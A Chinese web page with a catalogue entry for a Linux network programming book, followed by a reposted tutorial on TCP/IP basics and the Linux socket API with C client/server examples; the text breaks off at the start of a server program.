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《Linux网络编程》是2010年清华大学出版社出版的图书,作者是宋敬彬、孙海滨。 [1] 展开全文
《Linux网络编程》是2010年清华大学出版社出版的图书,作者是宋敬彬、孙海滨。 [1]
信息
ISBN
9787302207177
页    数
690
作    者
宋敬彬、孙海滨
书    名
Linux网络编程
出版时间
2010年1月
开    本
16开
出版社
清华大学出版社
Linux网络编程内容简介
Linux是当下最流行的开源操作系统,网络功能在linux下占有核心的地位。本书循序渐进地从应用层到linux内核、从基本知识点到综合案例,向读者介绍如何在linux下进行网络程序设计。本书内容分为4个部分:linux程序设计基础部分、linux用户空间网络编程部分、linux内核网络编程部分以及综合案例部分。内容包含linux系统概述、linux编程环境、linux文件系统简介、linux下的进程和线程、tcp/ip协议族、应用层网络服务程序、tcp编程、主机信息获取、数据io复用、udp编程、高级套接字、套接字选项、原始套接字、服务器模型、ipv6、linux 内核网络部分结构及分布、netfilter框架内报文处理。为了方便读者学习,本书最后一个部分介绍了3个综合案例,包括应用层的web服务器例子、简单的应用层网络协议站例子和内核层网防火墙的例子。.本书适合广大的linux平台下的网络程序设计人员和大中专院校学生阅读,尤其是有一定linux基础知识的编程技术人员。 [1] 
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  • 嵌入式LInux网络编程

    2018-10-22 21:38:04
    本课程讲解网络编程基础知识,UDP与TCP网络编程步骤,基于多线程的网络聊天程序。
  • 本课程是网络编程实践部分,带大家使用socket接口及其相关函数,从头编写一个服务器和客户端的通信程序,并且引出了应用层协议和业务逻辑的概念,本课程的目的是带领大家进入网络编程的世界,为大家后续的持续学习...
  • Linux网络编程(第2版)》是获得大量读者好评的“Linux典藏大系”中的《Linux网络编程》的第2版。《Linux网络编程(第2版)》第1版出版后获得了读者的高度评价。《Linux网络编程(第2版)》循序渐进,从应用层到...
  • linux网络编程-很全的

    2018-08-15 21:25:54
    1. LINUX网络编程基础知识 1 1.1. TCP/IP协议概述 1 1.2. OSI参考模型及TCP/IP参考模型 1 1.3. TCP协议 3 1.4. UDP协议 5 1.5. 协议的选择 6 2. 网络相关概念 6 2.1. socket概念 7 2.2. socket...

    注:作者王晓,本人认为总结得很好,故记之,绝无侵权之意。

    1. LINUX网络编程基础知识 1

    1.1. TCP/IP协议概述 1

    1.2. OSI参考模型及TCP/IP参考模型 1

    1.3. TCP协议 3

    1.4. UDP协议 5

    1.5. 协议的选择 6

    2. 网络相关概念 6

    2.1. socket概念 7

    2.2. socket类型 8

    2.3. socket信息数据结构 8

    2.4. 数据存储优先顺序的转换 8

    2.5. 地址格式转化 9

    2.6. 名字地址转化 10

    3. socket编程 13

    3.1. 使用TCP协议的流程图 13

    3.2. 使用UDP协议的流程图 24

    3.3. 设置套接口的选项setsockopt的用法 31

    3.4. 单播、广播、组播(多播) 32

     

    1. LINUX网络编程基础知识

    1.1. TCP/IP协议概述

    协议protocol:通信双方必须遵循的规矩 由iso规定  rpc文档

    osi参考模型:(应-表-会-传-网-数-物)

    è 应用层 表示层 会话层 传输层 网络层 数据链路层 物理层

    tcp/ip模型4层:

    应用层{http超文本传输协议   ftp文件传输协议  telnet远程登录   ssh安全外壳协议  stmp简单邮件发送   pop3收邮件}

    传输层{tcp传输控制协议,udp用户数据包协议}

    网络层{ip网际互联协议 icmp网络控制消息协议 igmp网络组管理协议}

    网络接口层{arp地址转换协议,rarp反向地址转换协议,mpls多协议标签交换}

    TCP协议:传输控制协议 面向连接的协议 能保证传输安全可靠 速度慢(有3次握手)

    UDP协议:用户数据包协议 非面向连接  速度快 不可靠

    通常是ip地址后面跟上端口号:ip用来定位主机  port区别应用(进程)

    http的端口号80  ssh-->22  telnet-->23  ftp-->21  用户自己定义的通常要大于1024

    1.2. OSI参考模型及TCP/IP参考模型

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

    TCP/IP协议族的每一层的作用:

    ·网络接口层:负责将二进制流转换为数据帧,并进行数据帧的发送和接收。要注意的是数据帧是独立的网络信息传输单元。

    ·网络层:负责将数据帧封装成IP数据报,并运行必要的路由算法。

    ·传输层:负责端对端之间的通信会话连接和建立。传输协议的选择根据数据传输方式而定。

    ·应用层:负责应用程序的网络访问,这里通过端口号来识别各个不同的进程。

     

    TCP/IP协议族的每一层协议的相关注解:

    ·ARP:(地址转换协议)用于获得同一物理网络中的硬件主机地址。

    ·MPLS:(多协议标签交换)很有发展前景的下一代网络协议。

    ·IP:(网际互联协议)负责在主机和网络之间寻址和路由数据包。

    ·ICMP:(网络控制消息协议)用于发送报告有关数据包的传送错误的协议。

    ·IGMP:(网络组管理协议)被IP主机用来向本地多路广播路由器报告主机组成员的协议。

    ·TCP:(传输控制协议)为应用程序提供可靠的通信连接。适合于一次传输大批数据的情况。并适用于要求得到相应的应用程序。

    ·UDP:(用户数据包协议)提供了无连接通信,且不对传送包进行可靠的保证。适合于一次传输少量数据。

     

     

    1.3. TCP协议

    (1) 概述

    TCP是TCP/IP体系中面向连接的运输层协议,它提供全双工和可靠交付的服务。它采用许多机制来确保端到端结点之间的可靠数据传输,如采用序列号、确认重传、滑动窗口等。

    首先,TCP要为所发送的每一个报文段加上序列号,保证每一个报文段能被接收方接收,并只被正确的接收一次。

    其次,TCP采用具有重传功能的积极确认技术作为可靠数据流传输服务的基础。这里“确认”是指接收端在正确收到报文段之后向发送端回送一个确认(ACK)信息。发送方将每个已发送的报文段备份在自己的缓冲区里,而且在收到相应的确认之前是不会丢弃所保存的报文段的。“积极”是指发送发在每一个报文段发送完毕的同时启动一个定时器,加入定时器的定时期满而关于报文段的确认信息还没有达到,则发送发认为该报文段已经丢失并主动重发。为了避免由于网络延时引起迟到的确认和重复的确认,TCP规定在确认信息中捎带一个报文段的序号,使接收方能正确的将报文段与确认联系起来。

    最后,采用可变长的滑动窗口协议进行流量控制,以防止由于发送端与接收端之间的不匹配而引起的数据丢失。这里所采用的滑动窗口协议与数据链路层的滑动窗口协议在工作原理上完全相同,唯一的区别在于滑动窗口协议用于传输层是为了在端对端节点之间实现流量控制,而用于数据链路层是为了在相邻节点之间实现流量控制。TCP采用可变长的滑动窗口,使得发送端与接收端可根据自己的CPU和数据缓存资源对数据发送和接收能力来进行动态调整,从而灵活性更强,也更合理。

    (2) 三次握手协议

    在利用TCP实现源主机和目的主机通信时,目的主机必须同意,否则TCP连接无法建立。为了确保TCP连接的成功建立,TCP采用了一种称为三次握手的方式,三次握手方式使得“序号/确认号”系统能够正常工作,从而使它们的序号达成同步。如果三次握手成功,则连接建立成功,可以开始传送数据信息。

    其三次握手分别为:

    1)源主机A的TCP向主机B发送连接请求报文段,其首部中的SYN(同步)标志位应置为1,表示想跟目标主机B建立连接,进行通信,并发送一个同步序列号X(例:SEQ=100)进行同步,表明在后面传送数据时的第一个数据字节的序号为X+1(即101)。

    2)目标主机B的TCP收到连接请求报文段后,如同意,则发回确认。再确认报中应将ACK位和SYN位置为1.确认号为X+1,同时也为自己选择一个序号Y。

    3)源主机A的TCP收到目标主机B的确认后要想目标主机B给出确认。其ACK置为1,确认号为Y+1,而自己的序号为X+1。TCP的标准规定,SYN置1的报文段要消耗掉一个序号。

    运行客户进程的源主机A的TCP通知上层应用进程,连接已经建立。当源主机A向目标主机B发送第一个数据报文段时,其序号仍为X+1,因为前一个确认报文段并不消耗序号。

    当运行服务进程的目标主机B的TCP收到源主机A的确认后,也通知其上层应用进程,连接已经建立。至此建立了一个全双工的连接。

     

    三次握手:为应用程序提供可靠的通信连接。适合于一次传输大批数据的情况。并适用于要求得到响应的应用程序。 

    (3) TCP数据报头

    TCP头信息

     

    ·源端口、目的端口:16位长。标识出远端和本地的端口号。

    ·序号:32位长。标识发送的数据报的顺序。

    ·确认号:32位长。希望收到的下一个数据报的序列号。

    ·TCP头长:4位长。表明TCP头中包含多少个32位字。

    ·6位未用。

    ·ACK:ACK位置1表明确认号是合法的。如果ACK为0,那么数据报不包含确认信息,确认字段被省略。

    ·PSH:表示是带有PUSH标志的数据。接收方因此请求数据报一到便可送往应用程序而不必等到缓冲区装满时才发送。

    ·RST:用于复位由于主机崩溃或其他原因而出现的错误的连接。还可以用于拒绝非法的数据报或拒绝连接请求。

    ·SYN:用于建立连接。

    ·FIN:用于释放连接。

    ·窗口大小:16位长。窗口大小字段表示在确认了字节之后还可以发送多少个字节。

    ·校验和:16位长。是为了确保高可靠性而设置的。它校验头部、数据和伪TCP头部之和。

    ·可选项:0个或多个32位字。包括最大TCP载荷,窗口比例、选择重复数据报等选项。

    1.4. UDP协议

    (1) 概述

    UDP即用户数据报协议,它是一种无连接协议,因此不需要像TCP那样通过三次握手来建立一个连接。同时,一个UDP应用可同时作为应用的客户或服务器方。由于UDP协议并不需要建立一个明确的连接,因此建立UDP应用要比建立TCP应用简单得多。

    它比TCP协议更为高效,也能更好地解决实时性的问题。如今,包括网络视频会议系统在内的众多的客户/服务器模式的网络应用都使用UDP协议。 

    (2) Udp数据包头格式

     

    1.5. 协议的选择

    (1)对数据可靠性的要求

    对数据要求高可靠性的应用需选择TCP协议,如验证、密码字段的传送都是不允许出错的,而对数据的可靠性要求不那么高的应用可选择UDP传送。

    (2)应用的实时性

    TCP协议在传送过程中要使用三次握手、重传确认等手段来保证数据传输的可靠性。使用TCP协议会有较大的时延,因此不适合对实时性要求较高的应用,如VOIP、视频监控等。相反,UDP协议则在这些应用中能发挥很好的作用。

    (3)网络的可靠性

    由于TCP协议的提出主要是解决网络的可靠性问题,它通过各种机制来减少错误发生的概率。因此,在网络状况不是很好的情况下需选用TCP协议(如在广域网等情况),但是若在网络状况很好的情况下(如局域网等)就不需要再采用TCP协议,而建议选择UDP协议来减少网络负荷。 

    2. 网络相关概念

    1)套接口的概念:

    套接口,也叫“套接字”。是操作系统内核中的一个数据结构,它是网络中的节点进行相互通信的门户。它是网络进程的ID。网络通信,归根到底还是进程间的通信(不同计算机上的进程间通信)。在网络中,每一个节点(计算机或路由)都有一个网络地址,也就是IP地址。两个进程通信时,首先要确定各自所在的网络节点的网络地址。但是,网络地址只能确定进程所在的计算机,而一台计算机上很可能同时运行着多个进程,所以仅凭网络地址还不能确定到底是和网络中的哪一个进程进行通信,因此套接口中还需要包括其他的信息,也就是端口号(PORT)。在一台计算机中,一个端口号一次只能分配给一个进程,也就是说,在一台计算机中,端口号和进程之间是一一对应关系。所以,使用端口号和网络地址的组合可以唯一的确定整个网络中的一个网络进程。

    例如,如网络中某一台计算机的IP为10.92.20.160,操作系统分配给计算机中某一应用程序进程的端口号为1500,则此时 10.92.20.160  1500就构成了一个套接口。

    2)端口号的概念:

    在网络技术中,端口大致有两种意思:一是物理意义上的端口,如集线器、交换机、路由器等用于连接其他网络设备的接口。二是指TCP/IP协议中的端口,端口号的范围从0~65535,一类是由互联网指派名字和号码公司ICANN负责分配给一些常用的应用程序固定使用的“周知的端口”,其值一般为0~1023.例如http的端口号是80,ftp为21,ssh为22,telnet为23等。还有一类是用户自己定义的,通常是大于1024的整型值。

    3)ip地址的表示:

    通常用户在表达IP地址时采用的是点分十进制表示的数值(或者是为冒号分开的十进制Ipv6地址),而在通常使用的socket编程中使用的则是二进制值,这就需要将这两个数值进行转换。

    ipv4地址:32bit, 4字节,通常采用点分十进制记法。

    例如对于:10000000 00001011 00000011 00011111

    点分十进制表示为:128.11.3.31

    ip地址的分类:

     

    特殊的ip地址:

     

    2.1. socket概念

    Linux中的网络编程是通过socket接口来进行的。socket是一种特殊的I/O接口,它也是一种文件描述符。它是一种常用的进程之间通信机制,通过它不仅能实现本地机器上的进程之间的通信,而且通过网络能够在不同机器上的进程之间进行通信。

    每一个socket都用一个半相关描述{协议、本地地址、本地端口}来表示;一个完整的套接字则用一个相关描述{协议、本地地址、本地端口、远程地址、远程端口}来表示。socket也有一个类似于打开文件的函数调用,该函数返回一个整型的socket描述符,随后的连接建立、数据传输等操作都是通过socket来实现的;

    2.2. socket类型 

    (1)流式socket(SOCK_STREAM) à用于TCP通信

    流式套接字提供可靠的、面向连接的通信流;它使用TCP协议,从而保证了数据传输的正确性和顺序性。

    (2)数据报socket(SOCK_DGRAM) à用于UDP通信

    数据报套接字定义了一种无连接的服务,数据通过相互独立的报文进行传输,是无序的,并且不保证是可靠、无差错的。它使用数据报协议UDP。

    (3)原始socket (SOCK_RAW) à用于新的网络协议实现的测试等

    原始套接字允许对底层协议如IP或ICMP进行直接访问,它功能强大但使用较为不便,主要用于一些协议的开发。 

    2.3. socket信息数据结构

    struct sockaddr

    {

         unsigned short sa_family; /*地址族*/

         char sa_data[14]; /*14字节的协议地址,包含该socket的IP地址和端口号。*/

    };

    struct sockaddr_in

    {

         short int sa_family; /*地址族*/

         unsigned short int sin_port; /*端口号*/

         struct in_addr sin_addr; /*IP地址*/

         unsigned char sin_zero[8]; /*填充0 以保持与struct sockaddr同样大小*/

    };

    struct in_addr

    {

    unsigned long int  s_addr; /* 32位IPv4地址,网络字节序 */

    };

    头文件<netinet/in.h>

    sa_family:AF_INET  àIPv4协议   AF_INET6  àIPv6协议

    2.4. 数据存储优先顺序的转换

    计算机数据存储有两种字节优先顺序:高位字节优先(称为大端模式)和低位字节优先(称为小端模式)。内存的低地址存储数据的低字节,高地址存储数据的高字节的方式叫小端模式。内存的高地址存储数据的低字节,低地址存储数据高字节的方式称为大端模式。

    eg:对于内存中存放的数0x12345678来说

    如果是采用大端模式存放的,则其真实的数是:0x12345678

    如果是采用小端模式存放的,则其真实的数是:0x78563412

    如果称某个系统所采用的字节序为主机字节序,则它可能是小端模式的,也可能是大端模式的。而端口号和IP地址都是以网络字节序存储的,不是主机字节序,网络字节序都是大端模式。要把主机字节序和网络字节序相互对应起来,需要对这两个字节存储优先顺序进行相互转化。这里用到四个函数:htons(),ntohs(),htonl()和ntohl().这四个地址分别实现网络字节序和主机字节序的转化,这里的h代表host,n代表network,s代表short,l代表long。通常16位的IP端口号用s代表,而IP地址用l来代表。

    函数原型如下:

     

    2.5. 地址格式转化

    通常用户在表达地址时采用的是点分十进制表示的数值(或者是为冒号分开的十进制Ipv6地址),而在通常使用的socket编程中使用的则是32位的网络字节序的二进制值,这就需要将这两个数值进行转换。这里在Ipv4中用到的函数有inet_aton()、inet_addr()和inet_ntoa(),而IPV4和Ipv6兼容的函数有inet_pton()和inet_ntop()。

    IPv4的函数原型:

    #include <sys/socket.h>

      #include <netinet/in.h>

      #include <arpa/inet.h>

    int inet_aton(const char *straddr, struct in_addr *addrptr);

    char *inet_ntoa(struct in_addr inaddr);

    in_addr_t inet_addr(const char *straddr);

    函数inet_aton():将点分十进制数的IP地址转换成为网络字节序的32位二进制数值。返回值:成功,则返回1,不成功返回0.

    参数straddr:存放输入的点分十进制数IP地址字符串。

    参数addrptr:传出参数,保存网络字节序的32位二进制数值。

    函数inet_ntoa():将网络字节序的32位二进制数值转换为点分十进制的IP地址。

    函数inet_addr():功能与inet_aton相同,但是结果传递的方式不同。inet_addr()若成功则返回32位二进制的网络字节序地址。

    IPv4和IPv6的函数原型:

    #include <arpa/inet.h>

    int inet_pton(int family, const char *src, void *dst);

    const char *inet_ntop(int family, const void *src, char *dst, socklen_t len);

    函数inet_pton跟inet_aton实现的功能类似,只是多了family参数,该参数指定为AF_INET,表示是IPv4协议,如果是AF_INET6,表示IPv6协议。

    函数inet_ntop跟inet_ntoa类似,其中len表示表示转换之后的长度(字符串的长度)。

    Example:

    #include <stdio.h>

    #include <sys/socket.h>

    #include <netinet/in.h>

    #include <arpa/inet.h>

    int main()

    {

    char ip[] = "192.168.0.101";

     

    struct in_addr myaddr;

    /* inet_aton */

    int iRet = inet_aton(ip, &myaddr);

    printf("%x\n", myaddr.s_addr);

     

    /* inet_addr */

    printf("%x\n", inet_addr(ip));

     

    /* inet_pton */

    iRet = inet_pton(AF_INET, ip, &myaddr);

    printf("%x\n", myaddr.s_addr);

     

    myaddr.s_addr = 0xac100ac4;

    /* inet_ntoa */

    printf("%s\n", inet_ntoa(myaddr));

     

    /* inet_ntop */

    inet_ntop(AF_INET, &myaddr, ip, 16);

    puts(ip);

    return 0;

    }

    2.6. 名字地址转化

    通常,人们在使用过程中都不愿意记忆冗长的IP地址,尤其到Ipv6时,地址长度多达128位,那时就更加不可能一次性记忆那么长的IP地址了。因此,使用主机名或域名将会是很好的选择。主机名与域名的区别:主机名通常在局域网里面使用,通过/etc/hosts文件,主机名可以解析到对应的ip;域名通常是再internet上使用。

    众所周知,百度的域名为:www.baidu.com,而这个域名其实对应了一个百度公司的IP地址,那么百度公司的IP地址是多少呢?我们可以利用ping www.baidu.com来得到百度公司的ip地址,如图。那么,系统是如何将www.baidu.com 这个域名转化为IP地址220.181.111.148的呢?

     

    在linux中,有一些函数可以实现主机名和地址的转化,最常见的有gethostbyname()、gethostbyaddr()等,它们都可以实现IPv4和IPv6的地址和主机名之间的转化。其中gethostbyname()是将主机名转化为IP地址,gethostbyaddr()则是逆操作,是将IP地址转化为主机名。

    函数原型:

    #include <netdb.h>

    struct hostent* gethostbyname(const char* hostname);

    struct hostent* gethostbyaddr(const char* addr, size_t len, int family);

    结构体:

    struct hostent

    {

         char *h_name; /*正式主机名*/

         char **h_aliases; /*主机别名*/

         int h_addrtype; /*主机IP地址类型 IPv4为AF_INET*/

         int h_length; /*主机IP地址字节长度,对于IPv4是4字节,即32位*/

         char **h_addr_list; /*主机的IP地址列表*/

    }

    #define  h_addr  h_addr_list[0] /*保存的是ip地址*/

    函数gethostbyname():用于将域名(www.baidu.com)或主机名转换为IP地址。参数hostname指向存放域名或主机名的字符串。

    函数gethostbyaddr():用于将IP地址转换为域名或主机名。参数addr是一个IP地址,此时这个ip地址不是普通的字符串,而是要通过函数inet_aton()转换。len为IP地址的长度,AF_INET为4。family可用AF_INET:Ipv4或AF_INET6:Ipv6。

     

    Example1:将百度的www.baidu.com 转换为ip地址

    #include <netdb.h>

    #include <sys/socket.h>

    #include <stdio.h>

    int main(int argc, char **argv)

    {

        char *ptr, **pptr;

        struct hostent *hptr;

        char str[32] = {'\0'};

    /* 取得命令后第一个参数,即要解析的域名或主机名 */

        ptr = argv[1];  //如www.baidu.com

    /* 调用gethostbyname()。结果存在hptr结构中 */

        if((hptr = gethostbyname(ptr)) == NULL)

        {

            printf(" gethostbyname error for host:%s\n", ptr);

            return 0;

        }

    /* 将主机的规范名打出来 */

        printf("official hostname:%s\n", hptr->h_name);

    /* 主机可能有多个别名,将所有别名分别打出来 */

        for(pptr = hptr->h_aliases; *pptr != NULL; pptr++)

            printf(" alias:%s\n", *pptr);

    /* 根据地址类型,将地址打出来 */

        switch(hptr->h_addrtype)

        {

    case AF_INET:

    case AF_INET6:

    pptr = hptr->h_addr_list;

    /* 将刚才得到的所有地址都打出来。其中调用了inet_ntop()函数 */

    for(; *pptr!=NULL; pptr++)

    printf(" address:%s\n", inet_ntop(hptr->h_addrtype, *pptr, str, sizeof(str)));

    printf(" first address: %s\n", inet_ntop(hptr->h_addrtype, hptr->h_addr, str, sizeof(str)));

            break;

    default:

    printf("unknown address type\n");

            break;

        }

        return 0;

    }

    编译运行

    #gcc test.c

    #./a.out www.baidu.com

    official hostname:www.a.shifen.com

    alias:www.baidu.com

    address: 220.181.111.148

    ……

    first address: 220.181.111.148

    (注:这里需要联网才能访问www.baidu.com。可以尝试用自己的虚拟机的主机名,利用命令hostname可以查看自己的主机名,用hostname –i可以查看主机名对应的ip地址。那么如何修改主机名呢?直接用hostname wangxiao只是暂时有效,重启之后就没有了,想要永久有效,需要修改/etc/sysconfig/network将HOSTNAME修改,当然要重启虚拟机。如果ip地址不对,你可以修改/etc/hosts这个文件,添加你自己的主机名对应的ip地址)

    3. socket编程

    3.1. 使用TCP协议的流程图

    TCP通信的基本步骤如下:

    服务端:socket---bind---listen---while(1){---accept---recv---send---close---}---close

    客户端:socket----------------------------------connect---send---recv-----------------close

     

    服务器端:

    1. 头文件包含:

        #include <sys/types.h>

    #include <sys/socket.h>

    #include <netinet/in.h>

    #include <arpa/inet.h>

    #include <unistd.h>

    #include <string.h>

    #include <stdio.h>

    #include <stdlib.h>

     

    2. socket函数:生成一个套接口描述符。

        原型:int socket(int domain,int type,int protocol);

    参数:domainà{ AF_INET:Ipv4网络协议   AF_INET6:IPv6网络协议}

      typeà{tcp:SOCK_STREAM   udp:SOCK_DGRAM}

      protocolà指定socket所使用的传输协议编号。通常为0.

    返回值:成功则返回套接口描述符,失败返回-1。

    常用实例:int sfd = socket(AF_INET, SOCK_STREAM, 0);

          if(sfd == -1){perror("socket");exit(-1);}

     

    3. bind函数:用来绑定一个端口号和IP地址,使套接口与指定的端口号和IP地址相关联。

    原型:int bind(int sockfd,struct sockaddr * my_addr,int addrlen);

    参数:sockfdà为前面socket的返回值。

      my_addrà为结构体指针变量

    对于不同的socket domain定义了一个通用的数据结构 struct sockaddr  //此结构体不常用 {     unsigned short int sa_family;  //调用socket()时的domain参数,即AF_INET值。     char sa_data[14];  //最多使用14个字符长度 }; 此sockaddr结构会因使用不同的socket domain而有不同结构定义, 例如使用AF_INET domain,其socketaddr结构定义便为 struct sockaddr_in  //常用的结构体 {     unsigned short int sin_family;  //即为sa_family èAF_INET     uint16_t sin_port;  //为使用的port编号     struct in_addr sin_addr;  //为IP 地址     unsigned char sin_zero[8];  //未使用 }; struct in_addr {     uint32_t s_addr; }; addrlenàsockaddr的结构体长度。通常是计算sizeof(struct sockaddr);

    返回值:成功则返回0,失败返回-1

    常用实例:struct sockaddr_in my_addr;  //定义结构体变量

      memset(&my_addr, 0, sizeof(struct sockaddr)); //将结构体清空

      //或bzero(&my_addr, sizeof(struct sockaddr));

      my_addr.sin_family = AF_INET;  //表示采用Ipv4网络协议

      my_addr.sin_port = htons(8888);  //表示端口号为8888,通常是大于1024的一个值。

    //htons()用来将参数指定的16位hostshort转换成网络字符顺序

    my_addr.sin_addr.s_addr = inet_addr("192.168.0.101"); // inet_addr()用来将IP地址字符串转换成网络所使用的二进制数字,如果为INADDR_ANY,这表示服务器自动填充本机IP地址。

    if(bind(sfd, (struct sockaddr*)&my_str, sizeof(struct socketaddr)) == -1)

    {perror("bind");close(sfd);exit(-1);}

    (注:通过将my_addr.sin_port置为0,函数会自动为你选择一个未占用的端口来使用。同样,通过将my_addr.sin_addr.s_addr置为INADDR_ANY,系统会自动填入本机IP地址。)

     

    4. listen函数:使服务器的这个端口和IP处于监听状态,等待网络中某一客户机的连接请求。如果客户端有连接请求,端口就会接受这个连接。

    原型:int listen(int sockfd, int backlog);

    参数:sockfdà为前面socket的返回值.即sfd

    backlogà指定同时能处理的最大连接要求,通常为10或者5。 最大值可设至128

    返回值:成功则返回0,失败返回-1

    常用实例:if(listen(sfd, 10) == -1)

      {perror("listen");close(sfd);exit(-1);}

     

    5. accept函数:接受远程计算机的连接请求,建立起与客户机之间的通信连接。服务器处于监听状态时,如果某时刻获得客户机的连接请求,此时并不是立即处理这个请求,而是将这个请求放在等待队列中,当系统空闲时再处理客户机的连接请求。当accept函数接受一个连接时,会返回一个新的socket标识符,以后的数据传输和读取就要通过这个新的socket编号来处理,原来参数中的socket也可以继续使用,继续监听其它客户机的连接请求。(也就是说,类似于移动营业厅,如果有客户打电话给10086,此时服务器就会请求连接,处理一些事务之后,就通知一个话务员接听客户的电话,也就是说,后面的所有操作,此时已经于服务器没有关系,而是话务员跟客户的交流。对应过来,客户请求连接我们的服务器,我们服务器先做了一些绑定和监听等等操作之后,如果允许连接,则调用accept函数产生一个新的套接字,然后用这个新的套接字跟我们的客户进行收发数据。也就是说,服务器跟一个客户端连接成功,会有两个套接字。)

    原型:int accept(int s,struct sockaddr * addr,int * addrlen);

    参数:sà为前面socket的返回值.即sfd

      addrà为结构体指针变量,和bind的结构体是同种类型的,系统会把远程主机的信息(远程主机的地址和端口号信息)保存到这个指针所指的结构体中。

      addrlenà表示结构体的长度,为整型指针

    返回值:成功则返回新的socket处理代码new_fd,失败返回-1

    常用实例:struct sockaddr_in clientaddr;

      memset(&clientaddr, 0, sizeof(struct sockaddr));

      int addrlen = sizeof(struct sockaddr);

      int new_fd = accept(sfd, (struct sockaddr*)&clientaddr, &addrlen);

      if(new_fd == -1)

      {perror("accept");close(sfd);exit(-1);}

      printf("%s %d success connect\n",inet_ntoa(clientaddr.sin_addr),ntohs(clientaddr.sin_port));

     

    6. recv函数:用新的套接字来接收远端主机传来的数据,并把数据存到由参数buf 指向的内存空间

    原型:int recv(int sockfd,void *buf,int len,unsigned int flags);

    参数:sockfdà为前面accept的返回值.即new_fd,也就是新的套接字。

      bufà表示缓冲区

      lenà表示缓冲区的长度

      flagsà通常为0

    返回值:成功则返回实际接收到的字符数,可能会少于你所指定的接收长度。失败返回-1

    常用实例:char buf[512] = {0};

      if(recv(new_fd, buf, sizeof(buf), 0) == -1)

      {perror("recv");close(new_fd);close(sfd);exit(-1);}

      puts(buf);

     

    7. send函数:用新的套接字发送数据给指定的远端主机

    原型:int send(int s,const void * msg,int len,unsigned int flags);

    参数:sà为前面accept的返回值.即new_fd

      msgà一般为常量字符串

      lenà表示长度

      flagsà通常为0

    返回值:成功则返回实际传送出去的字符数,可能会少于你所指定的发送长度。失败返回-1

    常用实例:if(send(new_fd, "hello", 6, 0) == -1)

    {perror("send");close(new_fd);close(sfd);exit(-1);}

     

    8. close函数:当使用完文件后若已不再需要则可使用close()关闭该文件,并且close()会让数据写回磁盘,并释放该文件所占用的资源

    原型:int close(int fd);

    参数:fdà为前面的sfd,new_fd

      返回值:若文件顺利关闭则返回0,发生错误时返回-1

    常用实例:close(new_fd);

      close(sfd);

    客户端:

    1. connect函数:用来请求连接远程服务器,将参数sockfd 的socket 连至参数serv_addr 指定的服务器IP和端口号上去。

    原型:int connect (int sockfd,struct sockaddr * serv_addr,int addrlen);

    参数:sockfdà为前面socket的返回值,即sfd

      serv_addrà为结构体指针变量,存储着远程服务器的IP与端口号信息。

      addrlenà表示结构体变量的长度

    返回值:成功则返回0,失败返回-1

    常用实例:struct sockaddr_in seraddr;//请求连接服务器

      memset(&seraddr, 0, sizeof(struct sockaddr));

      seraddr.sin_family = AF_INET;

      seraddr.sin_port = htons(8888); //服务器的端口号

      seraddr.sin_addr.s_addr = inet_addr("192.168.0.101");  //服务器的ip

      if(connect(sfd, (struct sockaddr*)&seraddr, sizeof(struct sockaddr)) == -1)

      {perror("connect");close(sfd);exit(-1);}

     

    将上面的头文件以及各个函数中的代码全部拷贝就可以形成一个完整的例子,此处省略。

    还可以不写客户端程序,使用telnet远程登录来检测我们的服务器端程序。比如我们的服务器程序在监听8888端口,我们可以用telnet 192.168.0.101 8888来查看服务端的状况。

    Example:将一些通用的代码全部封装起来,以后要用直接调用函数即可。如下:

    通用网络封装代码头文件: tcp_net_socket.h

    #ifndef __TCP__NET__SOCKET__H

    #define __TCP__NET__SOCKET__H

     

    #include <stdio.h>

    #include <stdlib.h>

    #include <string.h>

    #include <sys/types.h>

    #include <sys/socket.h>

    #include <netinet/in.h>

    #include <arpa/inet.h>

    #include <unistd.h>

    #include <signal.h>

     

    extern int tcp_init(const char* ip,int port);

    extern int tcp_accept(int sfd);

    extern int tcp_connect(const char* ip,int port);

    extern void signalhandler(void);

     

    #endif

    具体的通用函数封装如下: tcp_net_socket.c

    #include "tcp_net_socket.h"

    int tcp_init(const char* ip, int port)   //用于初始化操作

    {

        int sfd = socket(AF_INET, SOCK_STREAM, 0);//首先创建一个socket,向系统申请

        if(sfd == -1)

        {

            perror("socket");

            exit(-1);

        }

        struct sockaddr_in serveraddr;

        memset(&serveraddr, 0, sizeof(struct sockaddr));

        serveraddr.sin_family = AF_INET;

        serveraddr.sin_port = htons(port);

        serveraddr.sin_addr.s_addr = inet_addr(ip);//或INADDR_ANY

    if(bind(sfd, (struct sockaddr*)&serveraddr, sizeof(struct sockaddr)) == -1)

    //将新的socket与制定的ip、port绑定

        {

            perror("bind");

            close(sfd);

            exit(-1);

        }

        if(listen(sfd, 10) == -1)//监听它,并设置其允许最大的连接数为10个

        {

            perror("listen");

            close(sfd);

            exit(-1);

        }

        return sfd;

    }

     

    int tcp_accept(int sfd)   //用于服务端的接收

    {

        struct sockaddr_in clientaddr;

        memset(&clientaddr, 0, sizeof(struct sockaddr));

        int addrlen = sizeof(struct sockaddr);

    int new_fd = accept(sfd, (struct sockaddr*)&clientaddr, &addrlen);

    //sfd接受客户端连接,并创建新的socket为new_fd,将请求连接的客户端的ip、port保存在结构体clientaddr中

        if(new_fd == -1)

        {

            perror("accept");

            close(sfd);

            exit(-1);

        }

        printf("%s %d success connect...\n",inet_ntoa(clientaddr.sin_addr),ntohs(clientaddr.sin_port));

    return new_fd;

    }

     

    int tcp_connect(const char* ip, int port)   //用于客户端的连接

    {

        int sfd = socket(AF_INET, SOCK_STREAM, 0);//向系统注册申请新的socket

        if(sfd == -1)

        {

            perror("socket");

            exit(-1);

        }

        struct sockaddr_in serveraddr;

        memset(&serveraddr, 0, sizeof(struct sockaddr));

        serveraddr.sin_family = AF_INET;

        serveraddr.sin_port = htons(port);

        serveraddr.sin_addr.s_addr = inet_addr(ip);

    if(connect(sfd, (struct sockaddr*)&serveraddr, sizeof(struct sockaddr)) == -1)

    //将sfd连接至制定的服务器网络地址serveraddr

        {

    perror("connect");

    close(sfd);

    exit(-1);

        }

        return sfd;

    }

     

    void signalhandler(void)   //用于信号处理,让服务端在按下Ctrl+c或Ctrl+\的时候不会退出

    {

    sigset_t sigSet;

        sigemptyset(&sigSet);

        sigaddset(&sigSet,SIGINT);

        sigaddset(&sigSet,SIGQUIT);

        sigprocmask(SIG_BLOCK,&sigSet,NULL);

    }

    服务器端: tcp_net_server.c

    #include "tcp_net_socket.h"

    int main(int argc, char* argv[])

    {

    if(argc < 3)

    {

    printf("usage:./servertcp  ip  port\n");

    exit(-1);

    }

    signalhandler();

